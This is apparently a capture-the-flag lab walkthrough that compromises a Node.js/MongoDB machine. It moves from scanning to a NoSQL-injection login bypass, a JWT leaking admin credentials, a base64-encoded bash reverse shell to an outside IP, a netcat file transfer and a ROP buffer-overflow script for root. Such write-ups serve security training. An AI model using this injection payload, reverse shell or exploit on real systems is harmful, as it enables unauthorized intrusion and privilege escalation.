BOOK THIS SPACE FOR AD
ARTICLE ADThis new attack scenario, in which we will manipulate the opposing system and continue the adventure we started on the web by infiltrating the internal network structure, will improve your penetration capabilities in many ways.
You may see that the IPs change from time to time, do not care, we will be using different machines as we progress. The entire methodology is the same.
It is recommended to prepare your keyboards, cyberpunks!
First, define the values you use most as constant values on the shell.
Now define the target machine in the local DNS by saving it in your /etc/hosts file.
We are ready to move on to the discovery phase.
We can create a detailed query using our Nmap tool, which allows us to enumerate the opposing machine and its network structure: nmap -sV -sC --script=vuln -T4 -A -oN nmap_result.txt -Pn $target_ip
Version Detection (-sV):
Identifies the version of the services running on the open ports.Default Script Scan (-sC):
Executes a basic set of scripts that are helpful for identifying the state of the network services.Vulnerability Scan (--script=vuln):
Runs scripts that specifically look for vulnerabilities in the services identified.Aggressive Timing (-T4):
Increases the speed of the scan, which is useful for reducing the total scan time on large networks or slow connections.Comprehensive Scan (-A):
Gathers detailed information about the target, including OS detection, version detection, script scanning, and traceroute.Output to File (-oN nmap_result.txt):
Saves the scan results to nmap_result.txt for later review.No Host Discovery (-Pn):
Assumes the host is up, useful for scanning targets that do not respond to ping requests.This gives you a detailed output.
As you can see, we discovered version information, open ports and applications running on it, and other CVE notes.
22 SSH OpenSSH 7.6p180 HTTP Nginx 1.14.0
3000 HTTP Node.js (Express middleware)
22/tcp: SSH (OpenSSH 7.6p1)
SSH (Secure Shell) is a protocol used for securely logging into a remote machine and executing commands. It provides encrypted communications and is commonly used for remote administration.OpenSSH 7.6p1 is a specific version of the OpenSSH software, which implements the SSH protocol. It’s widely used for secure communication.80/tcp: HTTP (Nginx 1.14.0)
HTTP (Hypertext Transfer Protocol) is the foundation of data communication for the web. Port 80 is the default port for HTTP traffic.Nginx 1.14.0 is a specific version of the Nginx web server, which is known for its high performance and low resource consumption. It’s used to serve web content and handle HTTP requests.3000/tcp: HTTP (Node.js with Express middleware)
Node.js is a JavaScript runtime built on Chrome’s V8 JavaScript engine. It allows for server-side scripting using JavaScript.Express is a popular web application framework for Node.js, providing a robust set of features to develop web and mobile applications.Port 3000 is commonly used for web applications during development but can also be used in production environments.In addition to all this, we also potentially have the admin operations page in our nmap output.
Note all this evidence and move on to the next section.
We need a directory discovery mechanism to reveal what other content and pages these endpoints have. You can choose the gobuster tool for this: gobuster dir -u http://ourtargetsite.thm -w $wordlist_sub_dir --random-agent -d -e -x html,bat,php,sh,bak,js
Additional pages over HTTP port 80 were exposed. Same results as we get from Nmap query. On the other hand, you can run the same mechanism for the admin extension:gobuster dir -u http://ourtargetsite.thm/admin -w $wordlist_sub_dir --random-agent -d -e -x html,bat,php,sh,bak,js
We discovered page:
/images/javascripts
/robots.txt
/stylesheets
Every detail you get from here is important.
First, let’s send a curl request to robots.txt: curl -s http://10.10.204.111/robots.txt
We will check these pages if necessary in the future.
Now, let’s get to know the target in front of us through the browser.
It looks like a block page.
Now let’s examine the admin page.
There is a mechanism that allows us to register or log in. You may be tempted to try brute-force here, but the more details you can obtain about the system and engineers before this attack will be useful to you. You should always analyze the source code of such functional pages.
The script embedded here indicates that json should be sent to database query as content. Now let’s look at the payload structure by entering random values. You can get this from the “network” section.
We obtained the payload structure.
username=test&password=testBut in addition, we also received JWT. This is a value that defines authorization processes:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE3MjEzMTY0ODZ9.chHrpO0-e34hDlfunzmt719vhfhl0cFzZ2n1V7hp9CgYou can also obtain the page content with a curl request: curl -X GET http://10.10.204.111/admin
Now let’s give an example of how to send login values to the target system with a curl request. Save the request header information locally first, you can also obtain this from the “network” section. You should note this for future use.
POST /admin HTTP/1.1Host: ourtargetsite.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
Origin: http://ourtargetsite.thm
Connection: keep-alive
Referer: http://ourtargetsite.thm/admin
Upgrade-Insecure-Requests: 1
Now use: curl -D header_req.txt -H “Content-Type: application/json” -XPOST -d ‘{“username”:{“$ne”: “test”},”password”:{“$ne”: “test”}}’ http://10.10.204.111/admin
Check header_req.txt.
We got that.
Be careful that each query creates a separate JWT.
Let’s see if we can decode this JWT.
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc0FkbWluIjp0cnVlLCJfaWQiOiI1ZWM2ZTVjZjFkYzRkMzY0YmY4NjQxMDciLCJ1c2VybmFtZSI6ImRhdmUiLCJwYXNzd29yZCI6IlRITXtTdXBlclNlY3VyZUFkbWluUGFzc3dvcmQxMjN9IiwiX192IjowLCJpYXQiOjE3MjEzMTc1NjR9.nrf5do60wpjQYRLw14qSrya1WYE_ayAKs7NlmIhKrNYWe will use on shell:
export IFS=".";jwt="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc0FkbWluIjp0cnVlLCJfaWQiOiI1ZWM2ZTVjZjFkYzRkMzY0YmY4NjQxMDciLCJ1c2VybmFtZSI6ImRhdmUiLCJwYXNzd29yZCI6IlRITXtTdXBlclNlY3VyZUFkbWluUGFzc3dvcmQxMjN9IiwiX192IjowLCJpYXQiOjE3MjEzMTc1NjR9.nrf5do60wpjQYRLw14qSrya1WYE_ayAKs7NlmIhKrNY";for j in $jwt; do echo "$j" | base64 -d;doneOr you can use jwt.io.
Yes, we received the decoded version.
{"isAdmin": true,
"_id": "5ec6e5cf1dc4d364bf864107",
"username": "dave",
"password": "THM{*******}",
"__v": 0,
"iat": 1721317564
}
We got credentials for user “dave”:
dave:THM{*****}Moreover, this is defined as admin. What more could we want…
Log in to the admin panel.
There is an input panel that allows execution…
We can control the infrastructures again with a plugin.
Now let’s try a command.
Nothing… Try something else.
We think there is a protection mechanism.
Try this:
// this makes foobar appear in the output panel(() => { return "foobar"; })();
The code snippet ew’ve provided is an example of an immediately-invoked function expression (IIFE) in JavaScript, which is commonly used in Node.js and other JavaScript environments.
IIFE (Immediately-Invoked Function Expression):
The code is an anonymous function expression that is immediately invoked right after it is defined.This pattern is used to create a function that runs immediately and does not leave anything behind in the global scope.Arrow Function:
() => { return "foobar"; } is an arrow function, which is a shorthand syntax for defining functions in JavaScript.In this case, the function takes no parameters and returns the string "foobar".Immediate Invocation:
The parentheses () at the end of the function expression cause the function to execute immediately.So, the function is defined and then immediately called, returning the string "foobar".We got response!
If we can run such code, we can try to get a reverse shell.
Let’s make things a little more complicated and convert our command to Base64 format: echo -n “bash -i >& /dev/tcp/10.10.70.179/12211 0>&1” | base64
We have:
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC43MC4xNzkvMTIyMTEgMD4mMQ==Remember, in order to interact with the other server, you need to create it in json format.
Before transmitting this, listen to your machine on the port you specified.
Just forward the json payload as like this.
Yeap! We got reverse now.
Now take a tour around the system and explore its internal network structure. Stabilize the shell if possible: python3 -c ‘import pty;pty.spawn(“/bin/bash”)’ then use export TERM=xterm.
Let’s observe the other ports that are listened to in the network structure: netstat -putan
We immediately noticed port 27017, which indicates a database. Port 27017 is the default port used by MongoDB, which is a popular NoSQL database system. MongoDB uses this port for communication between the MongoDB server and clients, such as applications that connect to the database to perform operations like querying, inserting, updating, and deleting data. MongoDB uses port 27017 by default for its database services. This can be configured to use a different port if needed. MongoDB is a NoSQL database, meaning it stores data in a flexible, JSON-like format called BSON (Binary JSON). This allows for dynamic schemas, which can be more adaptable to changes compared to traditional relational databases.
Control it.
We got version 3.6.3. Now run an exploit investigation for Mongo.
You should note down all your findings in a real scenario.
We need to navigate the system a little more and look for findings.
What is app.js? Control it.
Yes, this is a connection script written in JS. Take note of the endpoints for which the connection request was created. Before switching to Mongo, let’s look at the authorization level.
The output from the sudo -l command indicates that the user "dave" has permission to run the /uid_checker command as the root user without being prompted for a password.
(root) NOPASSWD: /uid_checker:
(root): The command will be executed with root privileges.NOPASSWD: The user will not be prompted to enter their password when running this command with sudo./uid_checker: The specific command that the user is allowed to run with sudo.Since “dave” can run /uid_checker with root privileges without a password, it's important to understand what the /uid_checker command does. If it allows arbitrary command execution or has some vulnerabilities, "dave" could potentially escalate privileges to root. If the /uid_checker script has a vulnerability, such as executing other commands without proper sanitization, it could be exploited. For example:
# Hypothetical contents of /uid_checker#!/bin/bash
echo "Checking UID..."
uid=$(id -u)
if [ "$uid" -eq 0 ]; then
echo "You are root!"
else
echo "You are not root."
fi
If the script allows input that can be manipulated, it might be exploited to gain root access.
Of course we need to check this theory.
Let’s connect to Mongo.
To show databases: show databases
We saw the databases we would interact with.
To use database: use daves-blog
Check tables: show tables
We can obtain the information here.
To return documents: db.users.find()
Now do the same method on other tables.
Use db.whatcouldthisbes.find()
Now we can analyze the file we obtained with the sudo -l command and which is within our authority. It is uid_checker .
Check content.
Our theory seems correct… Actually we found a secret function too:
How did you get here???/bin/sh
Our directive seems clear. We need to take a look at this.
Now we need to transfer this to our own system.
We need to check if there is python on the target system.
Yes, we have. Then run HTTP server on the target now.
Now query for this file from the local machine.
If that doesn’t work, you should try to do this with in-system operations. This example was tried through a different file. There’s another example of how to do this in the other section.
Now let’s try the transfer via netcat.
Make sure you type the above commands correctly, otherwise the connection will not be established.
Now we have this file on local.
Let’s dump it: objdump -d uid_checker
The tip in the mentioned instructions brought us here.
Return-Oriented Programming (ROP) is a sophisticated technique used in exploiting buffer overflow vulnerabilities in computer programs. ROP allows an attacker to execute code in the context of a vulnerable program without injecting new code, which is particularly useful on systems that enforce executable space protection (like DEP — Data Execution Prevention).
Steps in a ROP attack:
Find Gadgets: The attacker searches the executable and its libraries for useful gadgets. Tools like ROPgadget or ROPg automate this process.Construct the Payload: The attacker builds a payload consisting of the addresses of the chosen gadgets. This payload is designed to perform the desired actions when executed.Exploit Vulnerability: The attacker exploits a buffer overflow or similar vulnerability to overwrite the return address on the stack with the address of the first gadget.Execute ROP Chain: When the function returns, it jumps to the first gadget. Each ret instruction in the gadgets transfers control to the next gadget in the chain, thereby executing the attacker’s desired sequence of operations.You can use this script to attack: https://github.com/xct/ropstar
Now, run this: python3 ropstar.py /root/Desktop/uid_checker
Don’t forget to install the requirements for this script.
As you can see, this approach works.
The only analysis of this is quite long, we will make it the subject of another article.
Now try the script below.
#!/usr/bin/env pythonfrom struct import *
buf = ""
buf += "A"*88
buf += pack("<Q", 0x400803)
buf += pack("<Q", 0x601060)
buf += pack("<Q", 0x4005b0)
buf += pack("<Q", 0x400803)
buf += pack("<Q", 0x601060)
buf += pack("<Q", 0x400570)
f = open("in.txt", "w")
f.write(buf)
Run it locally.
You will have “in.txt” file.
Then use it with: (cat in.txt;cat) | ./uid_checker
In this way, the buffer is rendered to the background.
Do the same sequence on the target system, respectively. Then you will be root.
Don’t give up on hacking.
Code for good.
^-^